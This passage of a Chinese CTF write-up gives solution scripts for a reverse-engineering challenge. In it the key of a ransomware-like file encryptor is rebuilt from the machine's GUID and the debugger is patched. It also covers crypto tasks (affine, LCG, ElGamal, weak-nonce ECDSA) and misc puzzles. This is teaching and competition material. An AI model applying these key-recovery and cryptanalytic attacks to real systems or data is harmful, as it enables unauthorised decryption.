,一调就崩溃了,大概是ida的锅,毕竟用OD好好的,可以大致在ida中看清加密的结构,因为加密算法没有魔改还是流密码,所以我们只要拿到两个随机数,之后patch掉随机生成的在进行一次加密就完成了解密。 随机数可能和flag加密文件后缀的base64有关,因为base解密后是8字节,而那两个随机数正好是两个4字节,不过base也被换表了,并且有对随机数的异或处理。 ![](https://i.imgur.com/Lzy1UwQ.png) 对随机数的处理,在a1字符串中每次索引一个 和 a2即传入的参数循环右移动13位后的数加起来,循环len(a1)+1次不过有个坑,‘\0’也算一次,通过OD动调了解到a1是本机的GUID码,通过自己本机测试可以现在本地恢复自己加密的文件。 ```python= import base64 from Crypto.Util.number import * newtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-' table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' s='n8OKZcEVdSp=' m='' for i in range(len(s)): m+=table[newtable.find(s[i])] print(hex(bytes_to_long(base64.b64decode(m)))) def ror13(n): s=bin(n)[2:].zfill(32) tmp=s[-13:]+s[:-13] #print(hex(int(tmp,2))) return int(tmp,2) key='0bebe7bc-793f-4ccf-be83-9f6b9b4de948' n=[0]*(len(key)+1) for i in range(len(key)): n[i+1]=(ord(key[i])+ror13(n[i]))&0xffffffff print(hex(ror13(n[-1]))) k=[0]*(len(key)+1) k[0]=0x15dca90b #第一个随机数 for i in range(len(key)): k[i+1]=(ord(key[i])+ror13(k[i]))&0xffffffff #for i in k: # print(hex(i)) print(hex(ror13(k[-1]))) #最后一步还有操作 ``` 本地是可以打通的,但要想解该题的话,核心就是拿到出题人在生成文件时的随机数,我们知道随机数的生成过程,所以只要只要知道出题人的MachineGuid码即可,学长为了模拟真实场景,中间插个啥也不会的NPC就很有趣。 ![](https://i.imgur.com/34zT7Ei.png) 加npc qq指导他拿到guid码,之后便对附件的文件解密。 ```python= import base64 from Crypto.Util.number import * newtable='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-'#换和不换对本题影响不大 table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' s='sbJXsFrM2zF=' m='' for i in range(len(s)): m+=table[newtable.find(s[i])] print(hex(bytes_to_long(base64.b64decode(m)))) #b1b257b0 5accdb31 def ror13(n): #循环右移13 s=bin(n)[2:].zfill(32) tmp=s[-13:]+s[:-13] #print(hex(int(tmp,2))) return int(tmp,2) key='2aa2d31e-751e-4a33-8542-62c8bacedaf6' n=[0]*(len(key)+1) for i in range(len(key)): n[i+1]=(ord(key[i])+ror13(n[i]))&0xffffffff print(hex(ror13(n[-1]))) #可以通过动调发现 他是 #还原第一个随机数 print('r1=',hex(0xb057b2b1^0x51e64a7b)) k=[0]*(len(key)+1) k[0]=0xe1b1f8ca #第一个随机数 for i in range(len(key)): k[i+1]=(ord(key[i])+ror13(k[i]))&0xffffffff #for i in k: # print(hex(i)) print(hex(ror13(k[-1]))) #最后一步还有操作 #0xebb9f8f6 #0x1a4a41e5 print('r2=',hex(0xc2bf46e0^0x31dbcc5a)) ``` 注意小端,拿到r1和r2 ![](https://i.imgur.com/tqs61h4.png) OD动调,修改eax的值来修改两个随机数,之后直接F9便对原文件解密成功。 ## 4、Crypto ### 签到 绿城杯的密码签到题,魔改的仿射。 ```python= import gmpy2 str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' enc= ''#密文 flag='' a,b,c=37,23,52 for i in enc: if i in str1: ind=str1.find(i) m=((ind-b)*gmpy2.invert(a,c))%c flag+=str1[m] else: flag+=i print(flag) ``` ### lcg 参考这个博客,可以直接出https://blog.csdn.net/superprintf/article/details/108964563 ```python from Crypto.Util.number import * def gcd(a,b): if(b==0): return a else: return gcd(b,a%b) s = [64053834035066785058511795263859088093402576718387054930069870694827422995248363210875296865931156540418540088656840163752864867889701529, 62747878069691338351001678737533032651009187924993079609551517187402239263500990458468121965725468864035542647616568888614971291913860683, 8610389166165547798963079074461089122942923569827711232062490735297527674581120584017030806864406444034839689358368567214353599295961192, 67368398051089407366868405625671942347378755129423872678285919732014302509367453094142041707571135936337763803644340301362544880144675515, 3140546334522640626644397935274312967014650101920766829848908314358452633165879115222769049730993718556007257838431843662986174886332684, 86570894867827558107244361752089586436766881136739525172025909326268148819720261812567282066327259810017581923500053674785415315313293458, 74270633946662538117925791534180331044438757906314082041974053142483165604719102121031974214138125154407150853174565679126633465007917723, 82222345180880564316408536364709779418528442531150999715627704885024880160675971236916036110841803202987616501846568355385621016171784903, 79833541796675422937999973936505826001046326324194169378072775519666431460490483847928549009565561011528302879850550395115321828798479473, 70276250399219459795079058514491950109021040664671993784167534811426903455184545174600178849521746939676479421177456528336980088529680364] t = [] for i in range(9): t.append(s[i]-s[i-1]) all_n = [] for i in range(7): all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1]))) MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算 for n in all_n: n=abs(n) if n==1: continue print (n) a=(s[2]-s[1])*MMI((s[1]-s[0]),n)%n a_phi=MMI(a,n) b=(s[1]-a*s[0])%n seed = (a_phi*(s[0]-b))%n print(long_to_bytes(seed)) ``` ### ElGamal ```python import gmpy2 from libnum import * g=2156 h=19364538528204968684702462061708976286196990984716223584085879982705646870069549303950939491629843375744443683509974903099180054959020059938548094928837585111057000303537904740493039606490649300278524100909497612375482645091133840008548424390812995957714079622701882313111238420594917948494969125949668945158548567720310535536897936888399774638950146810221642554493233791471360830335537206304149954921774311047853146084012237704564511942668835567863826393453948857017040646601008642223803582573943030891986715595055019324440801777935710172212979280887633359930943038503968027220655973786600562745845324497196488322807831 A=9995630293450443710926439589612896118286566349495827427313438676168463826116464955957074433529028056439123823805308552189562100224561582223340587241549648666015052286406499398662123425284889357996851916521752203901065203149577226993716682772240169667052935024258753871207295938393987115234900806806087469563879862789823974291794802885292895213421601726484494744585379945552505857608540799287322743476575453278214456474079134885967525955182921923390325162821977199745281205980366366121378035910599474885845467715899470571914517089671524145865515025521343377461693651620965558755177493712395218314031923968372262075180 B=19641501134902015385307004774559226297607904139535093991544778570325559816795122240929672966548430213002444213049237352884044793521811769547993865673285536027032480604621677716937881383473923009344119402643156187210725950448943245328946864032062370241469698117655959560919664615808572393768427179442187467030444796570161893138409985609498627476592440545737482637905930451978398776355436712097494242442565588522867934815296797704571702165109019346547812996256980418437536915183977770034247964771335417318800617277414315830475829847165491728666543824190225718431772550287257838893533761142681106488302856660213072339680 p=22462079869412176627931821885555952101944600797405594918854641749463937220864393745055830608055446812244264996698900999697665284937332732196426926630725227832097762570319772606025030783192201516034684801965773843056157955430791744014113857105510823445498218456593034533803396102478411584767531641441019490499843217916423047209971411135368955482819998224367982436547751038717372349803304840532049220062772016877891231064593677968672514003518354643489863858311269669893073147595991452524138366552663628111568762990736278921809825308594547202597167338050312287182471648075189640944982066563515747342673687096427486818972323 q=28577709757521853216198246673735308017741222388556736537983004770310352698300755400834390086584537929063950377479517811320184840887191771242273443550541002330913183931704545300286298706351401419891456491050602853761015210471745221392002362729657536190201295746301570653693888171092126698177521172316818690203362872667204894669174823327441419189338420132783692667363550939843985177866800051567492646390295186867546095502027580112814903312364318884847155036019427060932663037653933145705010644469037694798433540700682288704592653064369652929512935544593272630003144590426449924866389397663506039876175174422935733866377 c1=11332286863127405812094504635471613854814937800124860910727374889102766142166022490278538952075193339453759020528778269864384569875318135661332253758107737756918318534675081922056254701103801041560591485925003447157410375099257642817840146427635984078459775376609366508041281759152628202088485025645919922723952547611605566905496365693787020294985478159474030995131023017342810653667997385147659211512460252853307639792749415598629996493681533855438162174190745672038233810051871572769436201835882757496071853682754083012061501462824377212969857559498262545545910958726045037239560044244415222143743768606933059075697021 c2=1372282964332292854673500643835800757935806829460870485690391794902235711423490316005967872250129637294226354772488937508471990099713257512193293101115267735884980056095830011299721555157834626858611366012895262798146439754243097833792294579486439977908090543253784149475851789481952116226404573468174537238610218304779943433942800306671530413679374917876133865272894626882479919363711304836310550110548690619783301429872523537762660931047187386025166135883629423496176981342027467183199837522102565931413172569551605898211400707349332005272073786142995248095725863673208717402182238792111207189694429541309766220120229 c1_=7487492223501562207493141071238187010012683445431218865414855332767540287102428308132128561296707313339788591514321855414633993013212032014459200554829455238385612822475050524716563150861899110475980044752986663504368072899898047552556690686147010639666093686804838659502492460286686233915296337369816076763293591399063166665197193039627759442636660347406076545502410067401681811168844856371856963623975767540063383560470436217362992479808296945205199416087282056433190263324978331977428500978843951453699326810909568668333877992835809219093321026449785933372463937202136772746118027345246453586564853335765972544419734 c2_=6112901046404372403304708508669386492965625978668114719881280901365259881398849837356351281946750580906017030014709113808809450653169088939063675485865090639521811018655956687997373608027777185293782782804573818464618173001147063495321506979299553768270075924588394108603182983000620919544195093565180407742782557942731554038528736279686907266601446021443130620983244101165429091236355740482290982339112999228102147699542277380459486768987627950851284608417149418679274351711137770428381855005158720083477148759018003909146756483092352214900488334939460818625168850759696360708636616959341042406572145675249300094599316 tmp = gmpy2.powmod(c2, A, p) * gmpy2.powmod(h, B, p) * gmpy2.invert(c2_, p) tmp = tmp % p gg, x, y = gmpy2.gcdext(A - 1, p - 1) m = gmpy2.powmod(tmp, x, p) print(n2s(m)) ``` ### Dear Alice 谷歌CTF原题,搜索关键词能搜到 github项目上有解题脚本 ```python= import os import hashlib from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import padding from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes #flag = open('flag.txt').read() INF = (1, 1, 0) d = 311315114987715623444276142623839583360207853110657101019745009424926710590583360123029204556690633449715530612380512577293882572730509350735778781050933 mod = 8948962207650232551656602815159153422162609644098354511344597187200057010413552439917934304191956942765446530386427345937963894309923928536070534607816947 a = 6294860557973063227666421306476379324074715770622746227136910445450301914281276098027990968407983962691151853678563877834221834027439718238065725844264138 b = 3245789008328967059274849584342077916531909009637501918328323668736179176583263496463525128488282611559800773506973771797764811498834995234341530862286627 n = 8948962207650232551656602815159153422162609644098354511344597187200057010413418528378981730643524959857451398370029280583094215613882043973354392115544169 G = (5139617820728399941653175323358137352238277428061991823713659546881441331696699723004749024403291797641521696406798421624364096550661311227399430098134141, 1798860115416690485862271986832828064808333512613833729548071279524320966991708554765227095605106785724406691559310536469721469398449016850588110200884962, 5042518522433577951395875294780962682755843408950010956510838422057522452845550974098236475624683438351211176927595173916071040272153903968536756498306512) def Double(p): x, y, z = p if z == 0 or y == 0: return INF ysqr = y * y % mod zsqr = z * z % mod s = 4 * x * ysqr % mod m = (3 * x * x + a * zsqr * zsqr) % mod x2 = (m * m - 2 * s) % mod y2 = (m * (s - x2) - 8 * ysqr * ysqr) % mod z2 = 2 * y * z % mod return x2, y2, z2 def Add(p, q): if p[2] == 0: return q if q[2] == 0: return p x1, y1, z1 = p x2, y2, z2 = q z1sqr = z1 * z1 % mod z2sqr = z2 * z2 % mod u1 = x1 * z2sqr % mod u2 = x2 * z1sqr % mod s1 = y1 * z2 * z2sqr % mod s2 = y2 * z1 * z1sqr % mod if u1 == u2: if s1 != s2: return INF else: return Double(p) h = u2 - u1 % mod hsqr = h * h % mod hcube = hsqr * h % mod r = s2 - s1 % mod t = u1 * hsqr % mod x3 = (r * r - hcube - 2 * t) % mod y3 = (r * (t - x3) - s1 * hcube) % mod z3 = h * z1 * z2 % mod return x3, y3, z3 def Multiply(p, x): if p == INF: return p res = INF while x: x, r = divmod(x, 2) if r: res = Add(res, p) p = Double(p) return res def Transform(m, l): z = m shift = l - n.bit_length() if shift > 0: z >>= shift return z def RNG(nbits, a, b): nbytes = nbits // 8 B = os.urandom(nbytes) return a * sum([B[i] * b ** i for i in range(len(B))]) % 2**nbits def Sign(msg, d): h = hashlib.sha512(msg) z = Transform(int.from_bytes(h.digest(), 'big'), h.digest_size*8) print('d = ', d) print('z = ', z) k = RNG(n.bit_length(), 16843009, 4294967296) print('k = ', k) x1, y1, z1 = Multiply(G, k) r = (x1 * pow(z1, -2, mod) % mod) % n s = pow(k, -1, n) * (z + r * d) % n print('r = ', r) print('s = ', s) print('left = ', pow(k, -1, n) % n) print('right = ', (z + r * d) % n) assert int(s) == pow(k, -1, n) * (z + r * d) % n return r, s def Verify(msg, Q, r, s): h = hashlib.sha512(msg) z = Transform(int.from_bytes(h.digest(), 'big'), h.digest_size*8) u1 = z*pow(s, -1, n) % n u2 = r*pow(s, -1, n) % n x1, y1, z1 = Add(Multiply(G, u1), Multiply(Q, u2)) return r == (x1 * pow(z1, -2, mod) % mod) % n def Encrypt(plaintext, x): key = hashlib.sha256(str(x).encode()).digest() aes = algorithms.AES(key) encryptor = Cipher(aes, modes.ECB(), default_backend()).encryptor() padder = padding.PKCS7(aes.block_size).padder() padded_data = padder.update(plaintext) + padder.finalize() ciphertext = encryptor.update(padded_data) + encryptor.finalize() return ciphertext def Decrypt(ciphertext, x): key = hashlib.sha256(str(x).encode()).digest() aes = algorithms.AES(key) decryptor = Cipher(aes, modes.ECB(), default_backend()).decryptor() unpadder = padding.PKCS7(aes.block_size).unpadder() decrypted_data = decryptor.update(ciphertext) + decryptor.finalize() plaintext = unpadder.update(decrypted_data) + unpadder.finalize() return plaintext _, _, ca = (8832295267397231051293216564016639537146222596144354850230682204978731311879255662259663270183445827348338041752369314181111940713714991119349376636404112, 8683784208731634307361157916911868656279723101808163939313971801256736484458199874570532609285522391139002296248059424750941962344918156540408403221858292, 105398535464409171419472607677747462033030589690350997911381059472020486557672504778060748058626707326992258591478040500759349352824508941100030623708235493999018571171774658661651532338275358740821547158517615704187173346885098836066743736788259192831313414309775979590033581301910426314601982482556670097620) ka = [ 0x8a6e81a10c229af504772b51c502638820811034faa62b8dafa019210347918419b71d0638c89b59026b7611edc6a14b2c1c1fb1092a352adfffb7e114f4f385, 0x3f837315a1fb46097f5eb680697901d75758b859846d37cad33d3f464efb84ace1e85fc60f4e445a031b5ca0e4965e0b081bd4a6e8efea1d3ba07aad51a70cd ] ca = ca.to_bytes(byteorder='big',length=(ca.bit_length() + 7) // 8) for k in ka: try: recv_msg = Decrypt(ca, k) print(recv_msg) except: pass ``` ## 5、Misc ### 签到 base32解码 ### LSB? zsteg -a xxx.png cumtctf{LSB_is_s0_e@sy_Right?} ### 加密? 跳舞的小人解出密码:SHERLOCK 打开后看到一个空白的txt文件,查看内码,零宽解出:JKGASwqeeh!@$ 得到这个:63756D746374667B69745F69735F63727970746F3F7D base16解密:cumtctf{it_is_crypto?} ### 社工? 真的离谱,WANG/JIA中间的斜杠还要保留 去这里扫一下机票上的二维码:[https://demo.dynamsoft.com/barcode-reader/](https://demo.dynamsoft.com/barcode-reader/) 得到信息: ![](https://i.imgur.com/x1nCp6G.png) 然后去搜一下飞机票二维码的数据信息 M1就是旅客姓名 flag : cumtctf{WANG/JIA}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully